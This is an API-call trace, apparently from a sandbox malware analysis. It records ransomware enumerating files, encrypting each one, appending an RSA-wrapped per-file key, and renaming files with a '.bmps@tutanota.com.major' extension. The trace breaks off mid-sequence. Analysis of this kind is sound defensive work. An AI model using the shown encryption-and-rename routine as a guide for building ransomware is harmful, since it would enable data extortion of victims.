0x0 [0108.458] SetLastError (dwErrCode=0x0) [0108.458] GetLastError () returned 0x0 [0108.458] SetLastError (dwErrCode=0x0) [0108.459] GetLastError () returned 0x0 [0108.459] SetLastError (dwErrCode=0x0) [0108.459] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0108.459] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1 [0108.459] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0108.459] GetLastError () returned 0x0 [0108.459] SetLastError (dwErrCode=0x0) [0108.459] GetLastError () returned 0x0 [0108.459] SetLastError (dwErrCode=0x0) [0108.459] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0108.459] GetLastError () returned 0x0 [0108.459] SetLastError (dwErrCode=0x0) [0108.459] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0108.459] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0108.459] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0108.459] GetLastError () returned 0x0 [0108.459] SetLastError (dwErrCode=0x0) [0108.459] GetLastError () returned 0x0 [0108.459] SetLastError (dwErrCode=0x0) [0108.459] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0108.459] GetLastError () returned 0x0 [0108.459] SetLastError (dwErrCode=0x0) [0108.459] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be3c8 | out: hHeap=0x570000) returned 1 [0108.459] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1 [0108.460] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0108.460] GetLastError () returned 0x0 [0108.460] SetLastError (dwErrCode=0x0) [0108.460] GetLastError () returned 0x0 [0108.460] SetLastError (dwErrCode=0x0) [0108.460] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0108.460] GetLastError () returned 0x0 [0108.460] SetLastError (dwErrCode=0x0) [0108.460] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be738 | out: hHeap=0x570000) returned 1 [0108.460] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1 [0108.460] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0108.460] GetLastError () returned 0x0 [0108.460] SetLastError (dwErrCode=0x0) [0108.460] GetLastError () returned 0x0 [0108.460] SetLastError (dwErrCode=0x0) [0108.460] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0108.460] GetLastError () returned 0x0 [0108.460] SetLastError (dwErrCode=0x0) [0108.460] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be9a0 | out: hHeap=0x570000) returned 1 [0108.460] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1 [0108.460] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0108.460] GetLastError () returned 0x0 [0108.460] SetLastError (dwErrCode=0x0) [0108.460] GetLastError () returned 0x0 [0108.460] SetLastError (dwErrCode=0x0) [0108.460] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0108.460] GetLastError () returned 0x0 [0108.460] SetLastError (dwErrCode=0x0) [0108.460] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be3c8 | out: hHeap=0x570000) returned 1 [0108.460] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0 [0108.461] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0108.461] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu", dwFileAttributes=0x80) returned 1 [0108.462] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cda60 | out: hHeap=0x570000) returned 1 [0108.462] CreateFileW (lpFileName="\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0108.462] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=2141433) returned 1 [0108.462] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20acf9) returned 0x2e45020 [0108.467] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20acf9) returned 0x306f020 [0108.473] ReadFile (in: hFile=0x454, lpBuffer=0x2e45020, nNumberOfBytesToRead=0x20acf9, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e45020*, lpNumberOfBytesRead=0x2e3f9b4*=0x20acf9, lpOverlapped=0x0) returned 1 [0108.886] SetFilePointer (in: hFile=0x454, lDistanceToMove=-2141433, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0108.886] WriteFile (in: hFile=0x454, lpBuffer=0x306f020*, nNumberOfBytesToWrite=0x20acf9, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x306f020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x20acf9, lpOverlapped=0x0) returned 1 [0108.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e45020 | out: hHeap=0x570000) returned 1 [0108.928] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x306f020 | out: hHeap=0x570000) returned 1 [0108.940] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x20acf9 [0108.940] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0108.940] WriteFile (in: hFile=0x454, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0108.940] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0108.940] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0108.940] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0108.941] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5cdfe8 [0108.941] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5cdfe8, pcchString=0x2e3f9a8 | out: pszString="8Y4DyFirOgyhLnGZc11ZWZg7ZIaUQp/FjYfcVRtbIkcMV7Mxiv9xgi9rJE18GRlx\nCeUF4UxeYZjyjzG6TuxBibjG1TCtLnM+KBZVjghFp1rEiXdo+CKFHRQ/CZhHrTxk\nVyw6c6i51zKsRLLHxW5+5dwJQlLbzIX6ppyoJApZPEirwG1BPYJPtQQaZf3NaPSX\nMSbLflGgtE0FoVkwqJ2b8qLE8LX8uA/rjnrndh0rvyWJ7vFd1cqfwziaWbj8ixP6\nQSUyNkLAyHHirkYmcMiWlA5zi3jkq17eBsnrDHEak1RY2CdeiznN4bnojRnCH0jt\n7uhJpyCp1JSqoQzdkT3BCw==\n", pcchString=0x2e3f9a8) returned 1 [0108.941] WriteFile (in: hFile=0x454, lpBuffer=0x5cdfe8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5cdfe8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0108.941] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0108.941] WriteFile (in: hFile=0x454, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0108.941] CloseHandle (hObject=0x454) returned 1 [0109.000] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdfe8 | out: hHeap=0x570000) returned 1 [0109.000] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), lpNewFileName="\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0109.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b83d0 | out: hHeap=0x570000) returned 1 [0109.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0109.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1f10 | out: hHeap=0x570000) returned 1 [0109.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e98 | out: hHeap=0x570000) returned 1 [0109.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd9e8 [0109.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0109.110] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0109.110] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu", dwFileAttributes=0x80) returned 1 [0109.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdb50 [0109.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5c1e98 [0109.110] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdb50 | out: hHeap=0x570000) returned 1 [0109.110] CreateFileW (lpFileName="\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0109.110] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=5091790) returned 1 [0109.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4db1ce) returned 0x2e4e020 [0109.120] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4db1ce) returned 0x333c020 [0109.131] ReadFile (in: hFile=0x454, lpBuffer=0x2e4e020, nNumberOfBytesToRead=0x4db1ce, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e4e020*, lpNumberOfBytesRead=0x2e3f9b4*=0x4db1ce, lpOverlapped=0x0) returned 1 [0109.492] SetFilePointer (in: hFile=0x454, lDistanceToMove=-5091790, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.492] WriteFile (in: hFile=0x454, lpBuffer=0x333c020*, nNumberOfBytesToWrite=0x4db1ce, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x333c020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4db1ce, lpOverlapped=0x0) returned 1 [0109.542] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e4e020 | out: hHeap=0x570000) returned 1 [0109.566] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x333c020 | out: hHeap=0x570000) returned 1 [0109.589] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4db1ce [0109.589] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0109.589] WriteFile (in: hFile=0x454, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0109.589] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0109.590] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0109.590] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0109.590] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b83d0 [0109.590] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b83d0, pcchString=0x2e3f9a8 | out: pszString="+rNWJZb1vatN3+uPp2PBf6oNXKp0RF0K7st4nOZ5x6iTonSzOrO/lEajpacqR7IQ\nFTnNA5+Thv5Apyk+0lq4jx4Bm6kIXYpK7COq4VyLx/T3pUuxwVSlLx62YpK+1Zir\nRc3xjFtY4hjcDRC+AixUcyV7HXXAsnqR5b1ZkaZRypcWmIl0b6Phkm8X+UufIA42\nHRUXRE2nx1ataPblT75i4YzQmi0nnQuwEp4QasQeggkZCV/oZAuTeJ9Eq3LJXhRY\nEjJKdC9CglAWrWwwUENvCh8XEACBl8qfsKbShMsKWvdFLuPM6jBii9qJ5Uxk+g0P\nmnr1Zi5NCz0THV/kDBNnkQ==\n", pcchString=0x2e3f9a8) returned 1 [0109.590] WriteFile (in: hFile=0x454, lpBuffer=0x5b83d0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b83d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0109.590] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0109.590] WriteFile (in: hFile=0x454, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0109.590] CloseHandle (hObject=0x454) returned 1 [0109.723] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b83d0 | out: hHeap=0x570000) returned 1 [0109.723] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), lpNewFileName="\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0109.724] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e98 | out: hHeap=0x570000) returned 1 [0109.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0109.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd9e8 | out: hHeap=0x570000) returned 1 [0109.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a9008 | out: hHeap=0x570000) returned 1 [0109.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd808 [0109.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0109.725] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0109.725] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu", dwFileAttributes=0x80) returned 1 [0109.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdad8 [0109.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5a9008 [0109.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdad8 | out: hHeap=0x570000) returned 1 [0109.725] CreateFileW (lpFileName="\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0109.725] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=2192672) returned 1 [0109.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x217520) returned 0x2e4c020 [0109.741] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x217520) returned 0x3072020 [0109.742] ReadFile (in: hFile=0x454, lpBuffer=0x2e4c020, nNumberOfBytesToRead=0x217520, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e4c020*, lpNumberOfBytesRead=0x2e3f9b4*=0x217520, lpOverlapped=0x0) returned 1 [0109.917] SetFilePointer (in: hFile=0x454, lDistanceToMove=-2192672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.918] WriteFile (in: hFile=0x454, lpBuffer=0x3072020*, nNumberOfBytesToWrite=0x217520, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3072020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x217520, lpOverlapped=0x0) returned 1 [0109.942] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e4c020 | out: hHeap=0x570000) returned 1 [0109.949] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3072020 | out: hHeap=0x570000) returned 1 [0109.949] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x217520 [0109.949] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0109.949] WriteFile (in: hFile=0x454, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0109.949] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0109.949] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0109.950] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0109.950] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b83d0 [0109.950] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b83d0, pcchString=0x2e3f9a8 | out: pszString="88pj2fRklWKylMd9jhctq2q+sccOA2FUaTJt5yWlTiE6ufTjsArKfE/sBk30Ayk2\nbE/K0EPjvBzd4+Q6Iw1Mh4t9+S3OtbgQ7eYcz2eFJc25H/nZ3LkTMbw5qdJolb3Q\n5fV3DbF9P8EGtMDCMS6SpCk5pXoE/wPWqlAiGgVtmZwGIcu4IG6YgTxKOsLSOIl1\ni0xxTIA7WIPf5BRXjix+8FVK22+Lb3LrLYR2hLWMgc9yzpYjGZ6/jAUn9kjt0yYE\nnurSoN6RGGLXywZ//n8bq1DeU9tIl+FphhQ8XMmlXO33wUzG4jmpCX6YMgsD4bGi\n8ECjonSj0yvOA0RtGdQNpw==\n", pcchString=0x2e3f9a8) returned 1 [0109.950] WriteFile (in: hFile=0x454, lpBuffer=0x5b83d0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b83d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0109.950] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0109.950] WriteFile (in: hFile=0x454, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0109.950] CloseHandle (hObject=0x454) returned 1 [0110.012] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b83d0 | out: hHeap=0x570000) returned 1 [0110.012] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), lpNewFileName="\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0110.040] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a9008 | out: hHeap=0x570000) returned 1 [0110.040] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0110.040] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd808 | out: hHeap=0x570000) returned 1 [0110.040] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0110.040] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd9e8 [0110.040] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0110.040] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0110.040] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu", dwFileAttributes=0x80) returned 1 [0110.040] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdbc8 [0110.040] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5a9008 [0110.040] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdbc8 | out: hHeap=0x570000) returned 1 [0110.040] CreateFileW (lpFileName="\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0110.040] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=5198099) returned 1 [0110.040] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4f5113) returned 0x2e4f020 [0110.044] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4f5113) returned 0x3357020 